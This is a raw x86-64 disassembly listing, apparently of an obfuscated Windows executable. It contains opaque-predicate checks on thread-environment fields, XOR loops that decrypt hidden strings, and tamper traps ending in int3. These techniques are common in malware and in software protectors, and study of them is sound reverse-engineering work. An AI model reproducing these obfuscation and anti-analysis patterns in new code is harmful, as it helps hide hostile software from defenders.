mov r11d, 0xa8e3e350
cmp rax, r11
movabs r12, 0x1231f03b48
jne 0x14002c1c6
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9d, r11d
mov esi, 0xdb4576f5
mov ebx, 0xdeedfeff
movabs r12, 0x2aaaaaaaaaaaaaab
mov ecx, r8d
mov rdx, r11
shl rdx, cl
mov rax, rsi
sar rax, cl
or rdx, rax
xor r10, rdx
mov rax, r12
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r15d
add r9, r15
cmp r8d, 8
jl 0x14002c093
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd20], rax
add rcx, r11
mov r8, r12
mov rax, r12
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movabs r12, 0x1231f03b48
movsxd rcx, edi
add rcx, r11
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002c84e
add edi, r15d
cmp edi, 5
jl 0x14002c15e
mov byte [rbp + 0x288], 0xb7
mov eax, 0xa
mov byte [rbp + 0x289], al
mov byte [rbp + 0x28a], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x28b], 0x53
mov byte [rbp + 0x28c], 0x81
mov byte [rbp + 0x28d], 0x40
mov byte [rbp + 0x28e], 0x85
mov byte [rbp + 0x28f], 0xda
mov byte [rbp + 0x290], 0x42
mov byte [rbp + 0x291], 0xe1
mov byte [rbp + 0x292], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x293], 0x66
xor eax, eax
mov byte [rbp + 0x294], al
mov r8, rbx
movabs rsi, 0x184295a46
movabs rbx, 0x184295a45
lea r9d, [rax + 0xc]
movabs r10, 0x2463e07690
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r12
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r12
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x288]
xor dil, r8b
mov byte [rbp + r8 + 0x288], dil
add r8, r15
add r12, rsi
add r9, 0xc
cmp r12, r10
jb 0x14002c255
xor ebx, ebx
mov byte [rbp + 0x294], bl
lea rdx, [rbp + 0x288]
lea rcx, [rbp + 0xec0]
call fcn.14003f880
mov rcx, qword gs:[0x15]
test al, al
mov esi, 0xa8e3e360
mov r12d, 0xa8e3e350
je 0x14002cbde
cmp rcx, r12
jne 0x14002c40b
mov r8d, ebx
mov rcx, r15
lea r9d, [rbx + 5]
mov r10d, 0x8aec58f0
mov rax, r10
cqo
idiv rcx
imul rdx, r12
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r15
sub r9, r15
jne 0x14002c30a
mov r9d, 0xdb4576f5
xor rdi, r9
mov rcx, rdi
imul rcx, r10
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r12
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r12
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd30]
and rcx, rdx
mov rax, qword [rbp + 0xd28]
and rax, rcx
mov qword [rbp - 0x70], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rbp - 0x70]
cmp rax, rcx
je 0x14002c859
add edi, r15d
cmp edi, 7
jl 0x14002c39e
movdqa xmm0, xmmword [0x1400f5df0]
movdqa xmmword [rbp + 0xb60], xmm0
movdqa xmm1, xmmword [0x1400f5d40]
movdqa xmmword [rbp + 0xb70], xmm1
movdqa xmm0, xmmword [0x1400f5cd0]
movdqa xmmword [rbp + 0xb80], xmm0
movdqa xmm1, xmmword [0x1400f5a90]
movdqa xmmword [rbp + 0xb90], xmm1
movdqa xmm0, xmmword [0x1400f5ad0]
movdqa xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1400f5ae0]
movdqa xmmword [rbp + 0xbb0], xmm1
movdqa xmm0, xmmword [0x1400f5c70]
movdqa xmmword [rbp + 0xbc0], xmm0
mov byte [rbp + 0xbd0], Ordinal_211
mov byte [rbp + 0xbd1], 0xa0
xor eax, eax
mov byte [rbp + 0xbd2], al
mov r8, rbx
movabs rsi, 0x184295a45
movabs r9, 0xacda6a332c
lea r10d, [rax + 0x72]
movabs r11, 0x8080808080808081
movabs r12, 0x184295a46
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xb60]
xor dil, r8b
mov byte [rbp + r8 + 0xb60], dil
add r8, r15
add r9, r12
add r10, 0x72
movabs rax, 0x159b4d46658
cmp r9, rax
jb 0x14002c4c0
mov byte [rbp + 0xbd2], bl
mov r8d, r15d
xor edx, edx
lea rcx, [rbp + 0xb60]
call fcn.140025430
mov rax, qword gs:[0x15]
mov r12d, 0xa8e3e350
cmp rax, r12
mov esi, 0xa8e3e360
movabs r11, 0x2aaaaaaaaaaaaaab
jne 0x14002c6a2
mov rdi, r13
mov r8, rbx
mov r9d, ebx
mov r10d, r12d
mov esi, 0xdb4576f5
mov ebx, 0xdeedfeff
mov rdx, rsi
mov ecx, r9d
sar rdx, cl
mov rax, r12
shl rax, cl
or rdx, rax
xor rdi, rdx
mov rax, r11
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, rdi
and rax, rbx
xor rcx, rax
add r8, rcx
add r9d, r15d
add r10, r15
cmp r9d, 8
jl 0x14002c583
xor rdi, r8
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd20], rax
lea rcx, [rdi + r12]
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rax, qword gs:[rcx]
mov ecx, 0xdeadbeef
or r8, rcx
xor rax, r8
mov ecx, 0xf94acd55
xor rax, rcx
mov qword [rbp + 0xd28], rax
mov eax, 0xf2e73d58
mov qword [rbp + 0xd30], rax
xor ebx, ebx
mov edi, ebx
mov esi, 0xa8e3e360
movsxd rcx, edi
add rcx, r12
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rbp - 0x70], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rbp - 0x70]
cmp rax, rcx
je 0x14002c863
add edi, r15d
cmp edi, 5
jl 0x14002c63c
mov rax, qword gs:[0x15]
cmp rax, r12
jne 0x14002c877
mov rdi, rbx
movabs r12, 0x38728acc6e2e5700
sub r14d, r15d
sub rsi, r15
mov rax, r11
imul rsi
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, rsi
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r14d
and ecx, 0x80000003
jge 0x14002c701
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r12
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r14d, r14d
jne 0x14002c6c1
mov rax, rdi
xor rax, rdi
mov r12d, 0xa8e3e350
xor rax, r12
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov r14d, 0xdeadbeef
or rcx, r14
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov esi, 0xdb4576f5
xor rcx, rsi
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r12
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rbp - 0x70], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rbp - 0x70]
cmp rax, rcx
je 0x14002c86d
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x14002c771
jmp 0x14002c87c
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rbp - 0x70]
call fcn.1400ac908
int3
mov rcx, qword [rbp - 0x70]
call fcn.1400ac908
int3
mov rcx, qword [rbp - 0x70]
call fcn.1400ac908
int3
mov esi, 0xdb4576f5
movdqa xmm0, xmmword [0x1400f5c60]
movdqu xmmword [rbp + 0xa28], xmm0
movdqa xmm1, xmmword [0x1400f5c80]
movdqu xmmword [rbp + 0xa38], xmm1
movdqa xmm0, xmmword [0x1400f5a60]
movdqu xmmword [rbp + 0xa48], xmm0
mov r8, rbx
movabs r9, 0x47439792da
mov r10d, Ordinal_50
movabs r11, 0x8080808080808081
movabs r12, 0x184295a46
movabs r14, 0x184295a45
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xa28], dil
add r8, r15
add r9, r12
add r10, 0x2f
movabs rax, 0x8e872f25b4
cmp r9, rax
jb 0x14002c8dd
mov byte [rbp + 0xa57], bl
lea rcx, [rbp + 0xa28]
call fcn.1400b44e0
mov rax, qword gs:[0x15]
mov r12d, 0xa8e3e350
cmp rax, r12
mov r14d, 0xdeadbeef
jne 0x14002ca87
mov r8, rbx
mov rcx, r15
mov r9d, 5
mov r10d, 0x8aec58f0
mov rax, r10
cqo
idiv rcx
imul rdx, r12
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r15
sub r9, r15
jne 0x14002c986
xor rdi, rsi
mov rcx, rdi
imul rcx, r10
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, rsi
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
or rax, r14
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r12
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movabs r10, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r12
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rbp - 0x70], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rbp - 0x70]
cmp rax, rcx
je 0x14002ca7d
add edi, r15d
cmp edi, 7
jl 0x14002ca19
jmp 0x14002ca91
mov rcx, qword [rbp - 0x70]
call fcn.1400ac908
int3
movabs r10, 0x2aaaaaaaaaaaaaab
mov rax, qword gs:[0x15]
cmp rax, r12
jne 0x140028004
mov rdi, rbx
mov r8d, ebx
mov r9, r12
mov r14d, 0xdeedfeff
mov ecx, r8d
mov rdx, r12
shl rdx, cl
mov rax, rsi
sar rax, cl
or rdx, rax
xor r13, rdx
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r13
and rax, r14
xor rcx, rax
add rdi, rcx
add r8d, r15d
add r9, r15
cmp r8d, 8
jl 0x14002cab2
mov rcx, rdi
xor rcx, r13
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd20], rax
add rcx, r12
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r14d, 0xdeadbeef
or rax, r14
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
movsxd rcx, ebx
add rcx, r12
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rbp - 0x70], rax
imul ecx, ebx, 0xcafebabe
mov rax, qword [rbp - 0x70]
cmp rax, rcx
je 0x14002cbd4
add ebx, r15d
cmp ebx, 5
jl 0x14002cb6d
jmp 0x140028004
mov rcx, qword [rbp - 0x70]
call fcn.1400ac908
int3
cmp rcx, r12
jne 0x14002cd32
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9, r12
mov esi, 0xdb4576f5
mov ebx, 0xdeedfeff
movabs r11, 0x2aaaaaaaaaaaaaab
mov ecx, r8d
mov rdx, r12
shl rdx, cl
mov rax, rsi
sar rax, cl
or rdx, rax
xor r10, rdx
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r15d
add r9, r15
cmp r8d, 8
jl 0x14002cc07
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd20], rax
add rcx, r12
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
mov esi, 0xa8e3e360
movsxd rcx, edi
add rcx, r12
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002ceb8
add edi, r15d
cmp edi, 5
jl 0x14002ccca
lea rdx, [rbp + 0xec0]
lea rcx, [rbp + 0x810]
call fcn.14003d82c
mov rdx, rax
lea rcx, [rbp + 0x7f0]
call fcn.140026b9c
mov rdx, rax
lea rcx, [rbp + 0xec0]
call fcn.14003d708
lea rcx, [rbp + 0x7f0]
call fcn.14003d690
mov rax, qword gs:[0x15]
cmp rax, r12
jne 0x14002cece
mov rdi, rbx
mov r8d, r14d
mov r9, rsi
movabs rsi, 0x2aaaaaaaaaaaaaab
movabs r12, 0x38728acc6e2e5700
sub r8d, r15d
sub r9, r15
mov rax, rsi
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14002cdde
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r12
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14002cd9e
mov rax, rdi
xor rax, rdi
mov r12d, 0xa8e3e350
xor rax, r12
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov r11d, 0xdb4576f5
xor rcx, r11
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r12
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002cec3
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x14002ce4e
jmp 0x14002cede
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
movabs rsi, 0x2aaaaaaaaaaaaaab
mov r11d, 0xdb4576f5
mov rax, qword gs:[0x15]
cmp rax, r12
jne 0x14002d01f
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9, r12
mov ebx, 0xdeedfeff
mov rdx, r11
mov ecx, r8d
sar rdx, cl
mov rax, r12
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, rsi
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r15d
add r9, r15
cmp r8d, 8
jl 0x14002cf01
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd20], rax
add rcx, r12
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rax, qword gs:[rcx]
mov ecx, 0xdeadbeef
or rdi, rcx
xor rax, rdi
mov ecx, 0xf94acd55
xor rax, rcx
mov qword [rbp + 0xd28], rax
mov eax, 0xf2e73d58
mov qword [rbp + 0xd30], rax
xor ebx, ebx
mov edi, ebx
movsxd rcx, edi
add rcx, r12
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002d14c
add edi, r15d
cmp edi, 5
jl 0x14002cfb7
lea rcx, [rbp + 0xf60]
call fcn.14003d5d0
mov rax, qword gs:[0x15]
cmp rax, r12
jne 0x14002d162
mov rdi, rbx
mov rcx, r15
mov r9d, 5
mov r10d, 0x8aec58f0
mov rax, r10
cqo
idiv rcx
imul rdx, r12
add rdi, rdx
mov r8, qword gs:[0x30]
movzx eax, dil
xor r8, rax
add rcx, r15
sub r9, r15
jne 0x14002d04f
mov r11d, 0xdb4576f5
xor r8, r11
mov rcx, r8
imul rcx, r10
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r11
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd20], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r12
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r12
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002d157
add edi, r15d
cmp edi, 7
jl 0x14002d0e6
jmp 0x14002d168
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov r11d, 0xdb4576f5
mov rax, qword gs:[0x15]
cmp rax, r12
jne 0x14002d2b1
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9, r12
mov ebx, 0xdeedfeff
mov rdx, r11
mov ecx, r8d
sar rdx, cl
mov rax, r12
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, rsi
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r15d
add r9, r15
cmp r8d, 8
jl 0x14002d18b
mov rcx, rdi
xor rcx, r10
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd20], rax
add rcx, r12
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movsxd rcx, edi
add rcx, r12
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002d426
add edi, r15d
cmp edi, 5
jl 0x14002d249
lea rcx, [rbp + 0xec0]
call fcn.14003d540
mov rcx, rax
call fcn.1400b48e8
mov rsi, rax
mov qword [rbp], rax
mov rcx, qword gs:[0x15]
mov r11d, 0xdb4576f5
cmp rcx, r12
jne 0x14002d43c
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9, r12
mov esi, 0xdeedfeff
movabs r13, 0x2aaaaaaaaaaaaaab
mov ecx, r8d
mov rdx, r12
shl rdx, cl
mov rax, r11
sar rax, cl
or rdx, rax
xor r10, rdx
mov rax, r13
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rsi
xor rcx, rax
add rdi, rcx
add r8d, r15d
add r9, r15
cmp r8d, 8
jl 0x14002d2ff
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd20], rax
add rcx, r12
mov rax, r13
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
mov edi, ebx
mov rsi, qword [rbp]
movsxd rcx, edi
add rcx, r12
mov rax, r13
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002d431
add edi, r15d
cmp edi, 5
jl 0x14002d3c0
jmp 0x14002d44c
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
movabs r13, 0x2aaaaaaaaaaaaaab
mov r10d, 0xdeadbeef
mov rax, qword gs:[0x15]
cmp rax, r12
jne 0x14002d56e
mov r8, rbx
mov rcx, r15
mov r9d, 5
mov r13d, 0x8aec58f0
mov rax, r13
cqo
idiv rcx
imul rdx, r12
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r15
sub r9, r15
jne 0x14002d470
xor rdi, r11
mov rcx, rdi
mov rax, r13
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r11
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
or rax, r10
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r12
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movabs r13, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r12
mov rax, r13
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
